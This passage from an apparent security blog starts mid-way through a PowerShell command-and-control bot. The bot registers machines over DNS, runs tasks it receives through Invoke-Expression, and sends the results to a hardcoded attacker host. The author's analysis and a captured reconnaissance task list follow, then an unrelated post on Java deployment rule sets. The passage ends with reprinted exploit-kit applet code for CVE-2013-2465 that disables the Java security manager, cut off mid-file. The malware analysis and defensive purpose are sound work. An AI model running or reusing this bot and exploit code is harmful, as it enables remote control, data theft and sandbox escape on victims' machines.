{if(r.digits[i+k]!=dq.digits[i])
j=i;else i--;}
if(r.digits[i+k] postParameters)
    {
        string formDataBoundary = String.Format("----------{0:N}", Guid.NewGuid());
        string contentType = "multipart/form-data; boundary=" + formDataBoundary;

        byte[] formData = GetMultipartFormData(postParameters, formDataBoundary);

        return PostForm(postUrl, userAgent, contentType, formData);
    }
    private static HttpWebResponse PostForm(string postUrl, string userAgent, string contentType, byte[] formData)
    {
        HttpWebRequest request = WebRequest.Create(postUrl) as HttpWebRequest;

        if (request == null)
        {
            throw new NullReferenceException("request is not a http request");
        }

        // Set up the request properties.
        request.Method = "POST";
        request.ContentType = contentType;
        request.UserAgent = userAgent;
        request.CookieContainer = new CookieContainer();
        request.ContentLength = formData.Length;

        // You could add authentication here as well if needed:
        // request.PreAuthenticate = true;
        // request.AuthenticationLevel = System.Net.Security.AuthenticationLevel.MutualAuthRequested;
        // request.Headers.Add("Authorization", "Basic " + Convert.ToBase64String(System.Text.Encoding.Default.GetBytes("username" + ":" + "password")));

        // Send the form data to the request.
        using (Stream requestStream = request.GetRequestStream())
        {
            requestStream.Write(formData, 0, formData.Length);
            requestStream.Close();
        }

        return request.GetResponse() as HttpWebResponse;
    }

    private static byte[] GetMultipartFormData(Dictionary postParameters, string boundary)
    {
        Stream formDataStream = new System.IO.MemoryStream();
        bool needsCLRF = false;

        foreach (KeyValuePair param in postParameters)
        {
            // Thanks to feedback from commenters, add a CRLF to allow multiple parameters to be added.
            // Skip it on the first parameter, add it to subsequent parameters.
            if (needsCLRF)
                formDataStream.Write(encoding.GetBytes("\r\n"), 0, encoding.GetByteCount("\r\n"));

            needsCLRF = true;
            string postData = string.Format("--{0}\r\nContent-Disposition: form-data; name=\"{1}\"\r\n\r\n{2}",
                boundary,
                param.Key,
                param.Value);
            formDataStream.Write(encoding.GetBytes(postData), 0, encoding.GetByteCount(postData));
        }

        // Add the end of the request.  Start with a newline
        string footer = "\r\n--" + boundary + "--\r\n";
        formDataStream.Write(encoding.GetBytes(footer), 0, encoding.GetByteCount(footer));

        // Dump the Stream into a byte[]
        formDataStream.Position = 0;
        byte[] formData = new byte[formDataStream.Length];
        formDataStream.Read(formData, 0, formData.Length);
        formDataStream.Close();

        return formData;
    }
}
"@

if (-not ([System.Management.Automation.PSTypeName]'X.BigInteger').Type) {
    Add-Type -TypeDefinition $biginteger -Language CSharp
}
if (-not ([System.Management.Automation.PSTypeName]'FormUpload').Type) {
    Add-Type -TypeDefinition $form -Language CSharp
}

function ConvertTo-Dictionary
{
    #requires -Version 2.0

    [CmdletBinding()]
    param (
        [Parameter(Mandatory = $true, ValueFromPipeline = $true)]
        [hashtable]
        $InputObject,

        [Type]
        $KeyType = [string]
    )

    process
    {
        $outputObject = New-Object "System.Collections.Generic.Dictionary[[$($KeyType.FullName)],[Object]]"

        foreach ($entry in $InputObject.GetEnumerator())
        {
            $newKey = $entry.Key -as $KeyType

            if ($null -eq $newKey)
            {
                throw 'Could not convert key "{0}" of type "{1}" to type "{2}"' -f
                      $entry.Key,
                      $entry.Key.GetType().FullName,
                      $KeyType.FullName
            }
            elseif ($outputObject.ContainsKey($newKey))
            {
                throw "Duplicate key `"$newKey`" detected in input object."
            }

            $outputObject.Add($newKey, $entry.Value)
        }

        Write-Output $outputObject
    }
}



function Pick-Domain {
    param([array]$DomainList)
    if ($DomainList.count -eq 1) {
        return $DomainList
    }
    return $DomainList[(Get-Random -Maximum ([array]$DomainList).count)]
}

function Identify-Machine() {
    $serial = Get-WmiObject Win32_BIOS | Select -ExpandProperty SerialNumber
    $md5 = new-object -TypeName System.Security.Cryptography.MD5CryptoServiceProvider
    $hash = ($md5.ComputeHash([system.Text.Encoding]::UTF8.GetBytes($serial)) |  foreach { $_.ToString("X2") }) -join ""

    return $hash.Substring(0, 10)
}

function Try-Domains {
    [CmdletBinding()]
    param([Parameter(ValueFromPipeline=$True)][array]$DomainList, [scriptblock]$Action)

    if ((-not $DomainList) -or ($DomainList.count -eq 0) -or ($retryCount -eq 0)) {
        Throw "No domains"
    }

    $domain = Pick-Domain $DomainList
    try {
        return &$Action -Domain $domain
    } catch {
        $retryCount--
        return Try-Domains ([array]($DomainList)) $Action # | Where-Object { $_ –ne $domain }
    }
}

function Do-DNS-A {
    [CmdletBinding()]
    param([Parameter()]$dns)

    Write-Debug "[DNS] (A) ==> ${dns}"
    $data = nslookup -type=a $dns 2>&1
    $regexp = [regex] "\s*$dns(.localdomain)*\s*Address(es)*:\s*([\d\.]*)"
    $match = $regexp.Match($data)
	$countNow = 0
    while ((-not $match.Success) -and ($countNow -ne $retryCountDoDns)) {
		Start-Sleep -s 5
        $data = nslookup -type=a $dns 2>&1
		$regexp = [regex] "\s*$dns(.localdomain)*\s*Address(es)*:\s*([\d\.]*)"
		$match = $regexp.Match($data)
		$countNow = $countNow + 1
    }
	if ((-not $match.Success)) {
		return 0
	}
    return $match.Groups[3].Value
}

function Do-DNS-TXT {
    [CmdletBinding()]
    param([Parameter()]$dns)

    Write-Debug "[DNS] (TXT) ==> ${dns}"
    $data = nslookup -type=txt $dns 2>&1
    $regexp = [regex] '("[^\s]*"\s*)+'
    $matches = $regexp.Matches($data)
	$countNow = 0
	while (($matches.count -eq 0) -and ($countNow -ne $retryCountDoDns)) {
		Start-Sleep -s 5
        $data = nslookup -type=txt $dns 2>&1
		$regexp = [regex] '("[^\s]*"\s*)+'
		$matches = $regexp.Matches($data)
		$countNow = $countNow + 1
    }
    if ($matches.count -eq 0) {
        return 0
    }
    return ($matches | Select -ExpandProperty Value) -join '' -replace '"' -replace '`n' -replace ' '
}

function Get-DecompressedString {

	[CmdletBinding()]
    Param (
		[Parameter(Mandatory=$True,ValueFromPipeline=$True,ValueFromPipelineByPropertyName=$True)]
        [byte[]] $byteArray = $(Throw("-byteArray is required"))
    )
	Process {
	    Write-Verbose "Get-DecompressedByteArray"

        $ms = New-Object System.IO.MemoryStream
        $ms.Write($byteArray, 0, $byteArray.Length)
        $null = $ms.Seek(0,0)

        $cs = New-Object System.IO.Compression.GZipStream($ms, [System.IO.Compression.CompressionMode]::Decompress)
        $out = New-Object System.IO.MemoryStream
        $sr = New-Object System.IO.StreamReader($cs, [system.Text.Encoding]::UTF8)
        Write-Output $sr.readtoend();
    }
}

function Decode-String {
    [CmdletBinding()]
    param([Parameter(ValueFromPipeline=$True)]$Code)
	if ($Code -eq 0) {
		return 0
	}
    $gzipBytes = [System.Convert]::FromBase64String($Code)
    return Get-DecompressedString($gzipBytes)
}

function Encode-Base58{
    [CmdletBinding()]
    param([Parameter()]$bytes)

    $base58digits = "123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz"

    # get big int representation
    $dBig = New-Object X.BigInteger 0
    $bytes | %{ $dBig = $dBig * 256 + $_ }

    # combine into string
    $result = [System.String]::Empty
    while ($dBig -gt 0) {
        $rem = ($dBig % 58).ToInt()
        $dBig /= 58
        $result = $base58digits[$rem] + $result
    }
    foreach ($b in $bytes) {
        if ($b -ne 0) { break }
        $result = '1' + $result
    }

    return $result
}

function Encode-Data{
    [CmdletBinding()]
    param([Parameter()]$data)

    $bytes = [system.Text.Encoding]::UTF8.GetBytes($data)
    $b58bytes = Encode-Base58 $bytes

    $split = ([regex]::matches($b58bytes, '.{1,63}') | %{$_.value}) -join '.'

    return $split
}

function Encode-HTTP-Data {
    [CmdletBinding()]
    param([Parameter()]$data)

    $bytes = [system.Text.Encoding]::UTF8.GetBytes($data)
    return [System.Convert]::ToBase64String($bytes)
}

# =============================================================================

function Register-Bot {
    [CmdletBinding()]
    param([Parameter()]$DomainList)

    $regSuccess = Try-Domains $DomainList {
        return Do-DNS-TXT "$(Identify-Machine).add.$domain"
    }
    if ($regSuccess -ne "1") {
        throw "Bad registration"
    }
}
function Exec-Timeout {
    [CmdletBinding()]
    param([Parameter(ValueFromPipeline=$True)][string]$command)
    $timeoutSeconds = 10
    Write-Host $command
    $val = "failure"
    $code = {
        param($c)
        Invoke-Expression $c
    }
    $j = Start-Job -ScriptBlock $code -ArgumentList $command
    if (Wait-Job $j -Timeout $timeoutSeconds) {
        $val = Receive-Job $j
    }
    Remove-Job -force $j
    return $val
}
function Execute-Dict {
    [CmdletBinding()]
    param([Parameter(ValueFromPipeline=$True)]$Data)

    $output = @{}
    $Data.GetEnumerator() | % {
        $val = try { Exec-Timeout $_.value } catch { "Failure" }
        $output[$_.key] = $val
    }
    return $output
}

function Do-Bad-Job {
    [CmdletBinding()]
    param([Parameter()]$DomainList, [Parameter()]$Data)

    Execute-Dict $Data | %{$_.GetEnumerator()} | %{
        try {
            $letter = $_.key
            $sdata = $_.value
            $enc = Encode-Data $sdata
            Write-Debug "[General data] ${letter}: ${sdata} => ${enc}"

            Try-Domains $DomainList {
                $response = Do-DNS-A "${enc}.${letter}.$(Identify-Machine).i.$domain" #| Select -ExpandProperty IPAddress
                if ($response -ne '1.1.1.1') {
                    Throw 'Bad response 3'
                }
            }
        } catch {
            Write-Debug "[General data] Unable to send ${letters} --> $($error[0])"
        }
    }

    Write-Debug "[General data] Complete"
}
function Read-Mode {
    [CmdletBinding()]
    param([Parameter()]$DomainList)

    return Try-Domains $DomainList {
        return Do-DNS-TXT "$(Identify-Machine).mx1.$domain"
    }
}

function Get-WWW-PS {
    [CmdletBinding()]
    param([Parameter()]$DomainList)

    return Try-Domains $DomainList {
        return Do-DNS-TXT "$(Identify-Machine).www.$domain" | Decode-String
    }
}
function ConvertTo-Json20([object] $item){
    try{
        add-type -assembly system.web.extensions
        $ps_js=new-object system.web.script.serialization.javascriptSerializer
        return $ps_js.Serialize($item)
    } catch {
        Write-Host "Exception on json encode"
    }
}
function ConvertFrom-Json20([object] $item){
    add-type -assembly system.web.extensions
    $ps_js=new-object system.web.script.serialization.javascriptSerializer

    #The comma operator is the array construction operator in PowerShell
    return ,$ps_js.DeserializeObject($item)
}
function Escape-JSONString($str){
  if ($str -eq $null) {return ""}
  $str = $str.ToString().Replace('"','''').Replace('\','/').Replace("`n",'\n').Replace("`r",'\r').Replace("`t",'\t')
  return $str;
}

function ConvertTo-JSON($maxDepth = 4,$forceArray = $false) {
	begin {
		$data = @()
	}
	process{
		$data += $_
	}

	end{

		if ($data.length -eq 1 -and $forceArray -eq $false) {
			$value = $data[0]
		} else {
			$value = $data
		}

		if ($value -eq $null) {
			return "null"
		}



		$dataType = $value.GetType().Name

		switch -regex ($dataType) {
	            'String'  {
					return  "`"{0}`"" -f (Escape-JSONString $value )
				}
	            '(System\.)?DateTime'  {return  "`"{0:yyyy-MM-dd}T{0:HH:mm:ss}`"" -f $value}
	            'Int32|Double' {return  "$value"}
				'Boolean' {return  "$value".ToLower()}
	            '(System\.)?Object\[\]' { # array

					if ($maxDepth -le 0){return "`"$value`""}

					$jsonResult = ''
					foreach($elem in $value){
						#if ($elem -eq $null) {continue}
						if ($jsonResult.Length -gt 0) {$jsonResult +=', '}
						$jsonResult += ($elem | ConvertTo-JSON -maxDepth ($maxDepth -1))
					}
					return "[" + $jsonResult + "]"
	            }
				'(System\.)?Hashtable' { # hashtable
					$jsonResult = ''
					foreach($key in $value.Keys){
						if ($jsonResult.Length -gt 0) {$jsonResult +=', '}
						$jsonResult +=
@"
	"{0}": {1}
"@ -f $key , ($value[$key] | ConvertTo-JSON -maxDepth ($maxDepth -1) )
					}
					return "{" + $jsonResult + "}"
				}
	            default { #object
					if ($maxDepth -le 0){return  "`"{0}`"" -f (Escape-JSONString $value)}

					return "{" +
						(($value | Get-Member -MemberType *property | % {
@"
	"{0}": {1}
"@ -f $_.Name , ($value.($_.Name) | ConvertTo-JSON -maxDepth ($maxDepth -1) )

					}) -join ', ') + "}"
	    		}
		}
	}
}


#"a" | ConvertTo-JSON
#dir \ | ConvertTo-JSON
#(get-date) | ConvertTo-JSON
#(dir \)[0] | ConvertTo-JSON -maxDepth 1
#@{ "asd" = "sdfads" ; "a" = 2 } | ConvertTo-JSON
function Send-HTTP-Data {
    [CmdletBinding()]
    param([Parameter()]$DomainList, [Parameter()]$data)

    # encode data
    Write-Host "Start send http"
    Write-Host "Data: $data"
    $encdata = $data | ConvertTo-JSON #Encode-HTTP-Data $data
    $dataToSend = @{'hwid' = $(Identify-Machine); 'data' = $encdata }# | ConvertTo-JSON
    Write-Host $dataToSend
    return Try-Domains $DomainList {
        #$url = "http://$(Identify-Machine).http.$domain"
        $url = "http://ns0.pw/index.php?r=bot-result/index"
        $ua = "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36"

        Write-Host "[HTTP] ===> $url"
        try {
            # $d = ConvertTo-Dictionary $dataToSend | ConvertTo-JSON
            $dataToSend = $dataToSend | ConvertTo-Dictionary -KeyType String
            $response = [FormUpload]::MultipartFormDataPost($url, $ua, $dataToSend) #, $dataToSend
            $reader = New-Object System.IO.StreamReader($response.GetResponseStream())
            Write-Debug "[HTTP] Finished"
            return $reader.ReadToEnd()
        } catch {
            Write-Host "Exception send http"
            Write-Host $Error[0]
        }
    }
}
function Main-Loop {
    [CmdletBinding()]
    param([Parameter()]$DomainList)

    while (1) {
        try {
            # get mode
            $mode = Read-Mode $domains
            $interval = 0
            Write-Host $mode
            switch ($mode){
                '3' { break }
                '0' { $interval = 5*60 }
                '1' { $interval = 12*60*60 }
            }
            Write-Host $interval
        } catch {
            Write-Host "Error check mode!!!"
            Write-Host $Error[0]

        }

        try {
            # NO www=exit HANDLING
            $data = Get-Tasks $DomainList
            Write-Host $data
            $taskType = ''
            $data_new = @{}
            $sdata = ConvertFrom-Json20 $data #| ConvertTo-Dictionary

            foreach ($itemKey in $sdata.Keys) {
                if ($itemKey -ne 'taskType' ) {
                    $data_new[$itemKey] = $sdata[$itemKey]
                } else {
                    $taskType = $sdata[$itemKey]
                }
            }

            $data = Execute-Dict $data_new
            Write-Host "Dict exec ok"

            $data['taskType'] = $taskType
            Write-Debug "[Main-Loop] Data: ${data}"
            # convert to dictionary if not a dictionary
            if ($data -isnot [System.Collections.HashTable]){
                $data = @{'response'=$data}
            }

            # if not OK code -- exception
            try{
                Write-Host "Try send"
                $a = Send-HTTP-Data $DomainList $data
                Write-Host $a
            } catch {
                Write-Host "Is no domains? $Error[0]"
            }
        } catch {
            Write-Debug "[Main-Loop] Execution crashed"
            Write-Host $Error[0]

        }
        Write-Debug "[Main-Loop] Start sleeping for ${interval}s"
        Start-Sleep -s $interval

    }
}
function Get-Tasks {
    [CmdletBinding()]
    param([Parameter(ValueFromPipeline=$True)]$DomainList)
    return Download-Big-TXT $DomainList "www" | Decode-String
}

$baseData = @{
    'u'='$env:username'
    'd'='$env:userdomain'
    'o'='Get-WmiObject Win32_OperatingSystem | Select -ExpandProperty Caption'
    'h'='hostname'
    'a'='1'
    'org'='Get-WmiObject Win32_OperatingSystem | Select -ExpandProperty Organization | %{if ([string]::IsNullOrEmpty($_)) {"NoOrg"} else {$_}}'
    'arc'='Get-WmiObject Win32_OperatingSystem | Select -ExpandProperty OSArchitecture'
}
try{
    [Console]::OutputEncoding = [system.Text.Encoding]::UTF8
} catch {
    Write-Host $Error[0]
}
try {
    # register bot
    Register-Bot $domains
    # send data
    Do-Bad-Job $domains $baseData
    # enter main loop
    Main-Loop $domains
} catch {
    Write-Debug "Error: "
    Write-Debug $Error[0]
}

The result is just your typical C&C bot code, still using the same C&C servers mentioned in the Talos Intelligence blog.

A different structure of DNS records is being used for different commands. Instead of the hardcoded “stage” string to make up the URL (such as AAAAAAAAAA.stage.0.ns0.pw), we now have “add” (register bot), “mx1” (get ‘mode’), and “www” (get tasks). Exfiltration appears to be done via a web form hardcoded to the url: hxxp://ns0[.]pw/index[.]php?r=bot-result/index

I registered a “fake bot” to see what the initial list of tasks were. The first list of tasks were:

{"taskType": "fullinfo", "24": "tasklist /v", "25": "wmic process get caption,commandline,processid", "26": "wmic process get caption,commandline,processid", "27": "wmic logicaldisk get caption,description,drivetype,providername,volumename", "21": "netsh fire
wall show state", "22": "netsh firewall show config", "23": "schtasks /query /fo LIST /v", "28": "tasklist /SVC", "29": "net start", "1": "systeminfo", "2": "echo %username% %userprofile%", "5": "whoami /all", "4": "hostname", "7": "net user", "12": "net use"
, "15": "wmic startup list brief", "14": "wmic share list brief", "17": "route print", "16": "ipconfig /all", "19": "netstat -anop tcp", "18": "arp -A", "31": "wmic qfe get Description,HotFixID,InstalledOn", "30": "driverquery", "32": "cd %ProgramFiles% & dir
 & cd %ProgramFiles(x86)% & dir"}

So just typical information gathering commands.

I’ll let other do more analysis if desired, just wanted to provide additional information

Java Deployment Rule Set

While the Java Deployment Rule Set has been out for a short while now, I just got around to looking into it.

I initially had some doubts that I could get it to work how I intended, but after a short few hours, I had effectively disabled all java applications, except from the ones I explicitly had in my XML whitelist.

Backing up a little bit, everyone out there is aware that many enterprises have issues with upgrading to the latest java version. There have been many proposed solutions, some which work better than others, but in my opinion, there really hasn’t been anything that mitigates the risk significantly enough for the additional cost of any given solution. For example, using two browsers, one for internal use, one for web browsing, was a proposal I’ve heard thrown around. While this may work in theory, by doing this, an enterprise would incur more costs to keep the second browser patched and maintained, and more costs to build security controls around this new browser as well (policies to disable the ability for users to use a proxy, or using the intranet browser to go on the internet, ect), not to mention any additional installed software introduces additional risk just by being there.

In any case, after initially reading various articles, such as this one, this whitelisting concept sounded interesting, so I thought I would give it a try.

Preperation

First, to set up my VM, I installed the following applications:

  1. JDK 7u40 (required)
  2. JRE 6u30 (any old version of java should work)
  3. OpenSSL for Windows (you’ll need a certificate to sign the JAR file)

After that, I mostly followed Oracle’s initial blog about Deployment Rule Sets, so some of the following is repeated, but I tried to give more detail, as some part’s were unclear in their blog if you just quickly wanted to throw together a POC.

Generate and Install Certificate

First, as you’ll need to sign the final JAR file, with OpenSSL installed, I ran the following commands to generate a PKCS12 file, answering the various questions as necessary:

cd C:\OpenSSL-Win64\bin


set OPENSSL_CONF=C:\OpenSSL-Win64\bin\openssl.cfg


openssl.exe req -x509 -nodes -days 365 -newkey rsa:2048 -keyout privateKey.key -out certificate.crt


openssl.exe pkcs12 -export -inkey privateKey.key -in certificate.crt -name jaxin -out server.p12

After everything was generated, I copied the various generated files to my desktop just to make things easy.

Next, I imported this certificate into Java by opening the Java Control Panel, going to the Security tab, and clicking on Manage Certificates.
Java Deployment Rule Set Import Cert1

From there, select the Signer CA drop down, and import the certificate you just generated.
Java Deployment Rule Set Import Cert2

Create and Install the RuleSet

Just for a simple test, I used the following ruleset and saved it to a file called ruleset.xml on my Desktop:

<ruleset version="1.0+">
  <rule>
    <id location="javatester.org" />
    <action permission="run" version="1.6.0_30" />
  </rule>
  <rule>
    <id />
    <action permission="block">
      <message>Blocked by corporate</message>
    </action>
  </rule>
</ruleset>

In the real-world, you would have a rule for every white-listed internal application at your enterprise, but I just wanted to test this new functionality out. The first rule should allow Java applets in the javatester.org domain to run fine, under version Java6u30. The second rule is a catch-all, and should block all other Java applets you browse to.

Now, in the command window, I ran the following:

jar -cvf DeploymentRuleSet.jar ruleset.xml


keytool -import -file certificate.crt -alias jaxin -keystore jaxin.jks


jarsigner -verbose -keystore server.p12 -storepass NA -storetype pkcs12 DeploymentRuleSet.jar jaxin

I then created the directory C:\Windows\Sun\Java\Deployment and copied the signed DeploymentRuleSet.jar file there.

Testing the RuleSet

Finally, the results 🙂

I navigated to http://javatester.org/version.html, and I was presented with the following (Note: I enabled the Java Console to always display, just to see what happens)
Java Deployment Rule Set Result1

First, the Java 7 update 40 console appeared (left console appeared first), and appears to have checked the ‘whitelist’, and ran the applet under Java 6 update 30 (right console appeared second), just as the ruleset specified. The version the applet detected was in fact Java 6u30, which is what we were going for, as our “legacy” java software would break under the newer java versions 🙂

And, if we go anywhere else, whether it be intranet or internet, we are presented with the following:
Java Deployment Rule Set Result2

So everything appears to work as intended.

Conclusion

While this was just a quick POC, it was enough to show this actually has some promise as a solution to mitigate the risk an enterprise incurs by using legacy java applications.

There are some cons to this approach:

  • If not protected, the end user may be able to delete the DeploymentRuleSet.jar and bypass these restrictions. This mostly would affect corporations that allow their users to run as a local administrator, and so there’s less control over what the user does on their PC
  • There would be some overhead of managing this DeploymentRuleSet.jar file, storing the certificates, ect.
  • This is a new feature in Java, so there may be some bugs/vulnerabilities introduced (perhaps the white-list can be bypassed? I don’t know, I haven’t looked into how this feature works quite yet)

Still, I am thinking the benefits gained outweigh all the potential cons. Instead of flat out blocking java for the default rule, you can set the version to SECURE-1.7, which in theory will force users to have the latest/secure version of Java 1.7 installed in order to run all other Java applets they come across. While all versions of Java appear to be vulnerable to something, much of the risk of being infected would be mitigated by running the latest version of Java while browsing the internet.

So in conclusion, this (currently) appears to be a great risk-mitigation solution for enterprises who can’t (or don’t want to) remove or patch Java. I just hope that this white-list isn’t as easy to bypass as the JVM sandbox has been 😀

A Java 6 killer – CVE-2013-2465 (update, now with CVE-2013-2463)

Now after my 30 day lab time at OffSec’s CTP course is up (awesome, more on that later), onto CVE-2013-2465, which can exploit all of Java 6, including the latest (6u45), as well as Java 7u21 and below and Java 5u45 and below. As noted elsewhere, this exploit, among many others, is significant as Java6u45 will not be patched by Oracle, so anyone not upgrading to Java 7 (ie the latest out there) will be easily exploited… not that Java 7 is much better, but at least it’s being patched… on occasion…

A nice source to take a look at these exploits can be found here (and great blog overall): http://malware.dontneedcoffee.com/2013/08/cve-2013-2465-integrating-exploit-kits.html. They also seem to have CVE-2013-2463, which there seems to be a buzz about, so will probably take a look at that later:

 

UPDATE: I decided I didn’t need sleep, took a look at the Neutrino CVE-2013-2463 acquired from dontneedcoffee.com as well as CVE-2013-2465. They are nearly the same, so figured might as well include both here 🙂

Anyway, I wanted to see how this exploit worked and put together some working code, so I downloaded Neutrino’s take on the exploit, and analyzed it (‘deobfuscating’ manually of course… I use that term loosely this time).

Starting with CVE-2013-2465:

alt(simplified)alt(original)drpijkikjjikjkikji
Alt.java

import java.applet.Applet;
import java.awt.geom.AffineTransform;
import java.awt.image.AffineTransformOp;
import java.awt.image.BufferedImage;
import java.awt.image.DataBufferByte;
import java.awt.image.MultiPixelPackedSampleModel;
import java.awt.image.Raster;
import java.awt.image.WritableRaster;
import java.security.AccessControlContext;
import java.security.AllPermission;
import java.security.CodeSource;
import java.security.Permissions;
import java.security.ProtectionDomain;
import java.security.cert.Certificate;

public class Alt extends Applet
{
  private static final String space = "[0-9]";
  private boolean _is64 = System.getProperty("os.arch", "").contains("64");

  public void init()
  {
    try
    {
      for (int i = 1; (i <= 5) && (ism()); i++)
        attempt();
      if (ism())
        System.exit(0);
      String str = getParameter("exec");
      byte[] arrayOfByte = getParameter("xkey").getBytes("ISO_8859_1");
      drp.dx(str, arrayOfByte);
    }
    catch (Exception localException)
    {
      System.exit(0);
    }
  }

  public static boolean ism()
  {
    return jki.gg() != null;
  }

  private int attempt()
  {
    try
    {
      Class localClass = ijk.scs();
      String str = "setSecurityManager";
      Object[] arrayOfObject1 = new Object[1];
      Object localObject = ikj.stt(localClass, str, arrayOfObject1);
      DataBufferByte localDataBufferByte = new DataBufferByte(16);
      int[] arrayOfInt = new int[8];
      Object[] arrayOfObject2 = new Object[7];
      arrayOfObject2[2] = ikj.stt(localClass, str, arrayOfObject1);
      Permissions localPermissions = new Permissions();
      localPermissions.add(new AllPermission());
      arrayOfObject2[3] = new AccessControlContext(new ProtectionDomain[] { 
            new ProtectionDomain(new CodeSource(null, new Certificate[0]), 
            localPermissions) });
      arrayOfObject2[4] = jik.sgt(arrayOfObject2[2]);
      int i = arrayOfInt.length;
      BufferedImage localBufferedImage1 = new BufferedImage(4, 1, 2);
      MultiPixelPackedSampleModel localMultiPixelPackedSampleModel = 
            new MultiPixelPackedSampleModel(0, 4, 1, 1, 4, 44 + 
            (this._is64 ? 8 : 0));
      WritableRaster localWritableRaster = 
            Raster.createWritableRaster(localMultiPixelPackedSampleModel, 
            localDataBufferByte, null);
      BufferedImage localBufferedImage2 = new BufferedImage(new jki(), 
            localWritableRaster, false, null);
      localBufferedImage1.getRaster().setPixel(0, 0, 
            new int[] { -1, -1, -1, -1 });
      AffineTransformOp localAffineTransformOp = new AffineTransformOp(
            new AffineTransform(1.0F, 0.0F, 0.0F, 1.0F, 0.0F, 0.0F), null);
      localAffineTransformOp.filter(localBufferedImage1, localBufferedImage2);
      int j = arrayOfInt.length;
      if (j == i)
        return 1;
      int k = 0;
      int m = arrayOfObject2.length;
      for (int n = i + 2; n < i + 32; n++)
        if ((arrayOfInt[(n - 1)] == m) && (arrayOfInt[n] == 0) && 
            (arrayOfInt[(n + 1)] == 0) && 
            (arrayOfInt[(n + 2)] != 0) && (arrayOfInt[(n + 3)] != 0) && 
            (arrayOfInt[(n + 4)] != 0) && 
            (arrayOfInt[(n + 5)] == 0) && (arrayOfInt[(n + 6)] == 0))
        {
          int i1 = arrayOfInt[(n + 4)];
          for (int i2 = n + 7; i2 < n + 7 + 64; i2++)
            if (arrayOfInt[i2] == i1)
            {
              arrayOfInt[(i2 - 1)] = arrayOfInt[(n + 3)];
              k = 1;
              break;
            }
          if (k != 0)
            break;
        }
      if (k != 0)
        try
        {
          kji.ste(arrayOfObject2[2]);
        }
        catch (Exception localException2)
        {
        }
    }
    catch (Exception localException1)
    {
    }
    return 0;
  }

  private byte[] pic(String paramString)
  {
    int i = paramString.length();
    byte[] arrayOfByte = new byte[i];
    for (int j = 0; j < i; j++);
    return arrayOfByte;
  }

  private String unpic(byte[] paramArrayOfByte)
  {
    StringBuilder localStringBuilder = new StringBuilder("");
    for (int i = 0; i < paramArrayOfByte.length; i++)
      localStringBuilder.append('A');
    return localStringBuilder.toString();
  }
}
Alt.java

import java.applet.Applet;
import java.awt.geom.AffineTransform;
import java.awt.image.AffineTransformOp;
import java.awt.image.BufferedImage;
import java.awt.image.DataBufferByte;
import java.awt.image.MultiPixelPackedSampleModel;
import java.awt.image.Raster;
import java.awt.image.WritableRaster;
import java.security.AccessControlContext;
import java.security.AllPermission;
import java.security.CodeSource;
import java.security.Permissions;
import java.security.ProtectionDomain;
import java.security.cert.Certificate;

public class Alt extends Applet
{
  private static final String space = "[0-9]";
  private boolean _is64 = System.getProperty("os.arch", "").contains("23658960895608958238905234850894369806320987698476264".substring(51));

  public void init()
  {
    try
    {
      for (int i = 1; (i <= 5) && (ism()); i++)
        attempt();
      if (ism())
        System.exit(0);
      String str = getParameter("7383568568e464564568465656x568458456845684568e6546845685684568c45845684878467864757584".replaceAll("[0-9]", ""));
      byte[] arrayOfByte = getParameter("357868538x456845685368363865754767638967895738565437568568k65835683568335683456836e5658356856865856356y65548548685454".replaceAll("[0-9]", "")).getBytes("ISO_8859_1");
      drp.dx(str, arrayOfByte);
    }
    catch (Exception localException)
    {
      System.exit(0);
    }
  }

  public static boolean ism()
  {
    return jki.gg() != null;
  }

  private int attempt()
  {
    try
    {
      Class localClass = ijk.scs();
      String str = "5787296778996057409608997181782001s38e45005225928t79487S9124417301e27388412740c6808u26779r304867i957349t193364y67997M1510a86087n53122a574023961g057026331060e06143687r9043645745487".replaceAll("[0-9]", "");
      Object[] arrayOfObject1 = new Object[1];
      Object localObject = ikj.stt(localClass, str, arrayOfObject1);
      DataBufferByte localDataBufferByte = new DataBufferByte(16);
      int[] arrayOfInt = new int[8];
      Object[] arrayOfObject2 = new Object[7];
      arrayOfObject2[2] = ikj.stt(localClass, str, arrayOfObject1);
      Permissions localPermissions = new Permissions();
      localPermissions.add(new AllPermission());
      arrayOfObject2[3] = new AccessControlContext(new ProtectionDomain[] { new ProtectionDomain(new CodeSource(null, new Certificate[0]), localPermissions) });
      arrayOfObject2[4] = jik.sgt(arrayOfObject2[2]);
      int i = arrayOfInt.length;
      BufferedImage localBufferedImage1 = new BufferedImage(4, 1, 2);
      MultiPixelPackedSampleModel localMultiPixelPackedSampleModel = new MultiPixelPackedSampleModel(0, 4, 1, 1, 4, 44 + (this._is64 ? 8 : 0));
      WritableRaster localWritableRaster = Raster.createWritableRaster(localMultiPixelPackedSampleModel, localDataBufferByte, null);
      BufferedImage localBufferedImage2 = new BufferedImage(new jki(), localWritableRaster, false, null);
      localBufferedImage1.getRaster().setPixel(0, 0, new int[] { -1, -1, -1, -1 });
      AffineTransformOp localAffineTransformOp = new AffineTransformOp(new AffineTransform(1.0F, 0.0F, 0.0F, 1.0F, 0.0F, 0.0F), null);
      localAffineTransformOp.filter(localBufferedImage1, localBufferedImage2);
      int j = arrayOfInt.length;
      if (j == i)
        return 1;
      int k = 0;
      int m = arrayOfObject2.length;
      for (int n = i + 2; n < i + 32; n++)
        if ((arrayOfInt[(n - 1)] == m) && (arrayOfInt[n] == 0) && (arrayOfInt[(n + 1)] == 0) && (arrayOfInt[(n + 2)] != 0) && (arrayOfInt[(n + 3)] != 0) && (arrayOfInt[(n + 4)] != 0) && (arrayOfInt[(n + 5)] == 0) && (arrayOfInt[(n + 6)] == 0))
        {
          int i1 = arrayOfInt[(n + 4)];
          for (int i2 = n + 7; i2 < n + 7 + 64; i2++)
            if (arrayOfInt[i2] == i1)
            {
              arrayOfInt[(i2 - 1)] = arrayOfInt[(n + 3)];
              k = 1;
              break;
            }
          if (k != 0)
            break;
        }
      if (k != 0)
        try
        {
          kji.ste(arrayOfObject2[2]);
        }
        catch (Exception localException2)
        {
        }
    }
    catch (Exception localException1)
    {
    }
    return 0;
  }

  private byte[] pic(String paramString)
  {
    int i = paramString.length();
    byte[] arrayOfByte = new byte[i];
    for (int j = 0; j < i; j++);
    return arrayOfByte;
  }

  private String unpic(byte[] paramArrayOfByte)
  {
    StringBuilder localStringBuilder = new StringBuilder("");
    for (int i = 0; i < paramArrayOfByte.length; i++)
      localStringBuilder.append('A');
    return localStringBuilder.toString();
  }
}
drp.java

import java.io.File;
